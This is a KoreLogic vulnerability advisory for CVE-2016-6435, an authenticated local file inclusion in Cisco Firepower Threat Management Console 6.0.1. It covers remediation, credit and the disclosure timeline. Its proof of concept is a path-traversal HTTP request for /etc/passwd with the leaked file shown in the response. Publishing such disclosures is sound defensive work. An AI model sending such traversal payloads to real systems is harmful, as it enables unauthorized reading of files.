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KL-001-2016-006 : Cisco Firepower Threat Management Console Local File Inclusion

Title: Cisco Firepower Threat Management Console Local File Inclusion
Advisory ID: KL-001-2016-006
Publication Date: 2016.10.05
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-006.txt


1. Vulnerability Details

     Affected Vendor: Cisco
     Affected Product: Firepower Threat Management Console
     Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)
     Platform: Embedded Linux
     CWE Classification: CWE-73: External Control of File Name or Path
     Impact: Information Disclosure
     Attack vector: HTTP
     CVE-ID: CVE-2016-6435

2. Vulnerability Description

     An authenticated user can access arbitrary files on the local system.

3. Technical Description

     Requests that take a file path do not properly filter what files can
     be requested.  The webserver does not run as root, so files such as
     /etc/shadow are not readable.

     GET /events/reports/view.cgi?download=1&files=../../../etc/passwd%00 HTTP/1.1
     Host: 1.3.3.7
     User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0)
Gecko/20100101 Firefox/45.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
     Accept-Language: en-US,en;q=0.5
     Accept-Encoding: gzip, deflate, br
     DNT: 1
     Cookie: CGISESSID=2ee7e6f19a104f4453e201f26fdbd6f3
     Connection: close

     HTTP/1.1 200 OK
     Date: Fri, 22 Apr 2016 23:58:41 GMT
     Server: Apache
     Content-Disposition: attachment; filename=passwd
     X-Frame-Options: SAMEORIGIN
     Connection: close
     Content-Type: application/octet-stream
     Content-Length: 623

     root:x:0:0:Operator:/root:/bin/sh
     bin:x:1:1:bin:/bin:/sbin/nologin
     daemon:x:2:2:daemon:/sbin:/sbin/nologin
     mysql:x:27:27:MySQL:/var/lib/mysql:/sbin/nologin
     nobody:x:99:99:nobody:/:/sbin/nologin
     sshd:x:33:33:sshd:/:/sbin/nologin
     www:x:67:67:HTTP server:/var/www:/sbin/nologin
     sfrna:x:88:88:SF RNA User:/Volume/home/sfrna:/sbin/nologin
     snorty:x:90:90:Snorty User:/Volume/home/snorty:/sbin/nologin
     sfsnort:x:95:95:SF Snort User:/Volume/home/sfsnort:/sbin/nologin
     sfremediation:x:103:103::/Volume/home/remediations:/sbin/nologin
     admin:x:100:100::/Volume/home/admin:/bin/sh
     casuser:x:101:104:CiscoUser:/var/opt/CSCOpx:/bin/bash

4. Mitigation and Remediation Recommendation

     The vendor has issued a patch for this vulnerability
     in version 6.1. Vendor acknowledgement available at:

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc2

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.
     2016.06.30 - Cisco acknowledges receipt of vulnerability report.
     2016.07.20 - KoreLogic and Cisco discuss remediation timeline for
                  this vulnerability and for 3 others reported in the
                  same product.
     2016.08.12 - 30 business days have elapsed since the vulnerability was
                  reported to Cisco.
     2016.09.02 - 45 business days have elapsed since the vulnerability was
                  reported to Cisco.
     2016.09.09 - KoreLogic asks for an update on the status of the
                  remediation efforts.
     2016.09.15 - Cisco confirms remediation is underway and soon to be
                  completed.
     2016.09.28 - Cisco informs KoreLogic that the remediation details will
                  be released publicly on 2016.10.05.
     2016.10.05 - Public disclosure.

7. Proof of Concept

     See Technical Description


The contents of this advisory are copyright(c) 2016
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt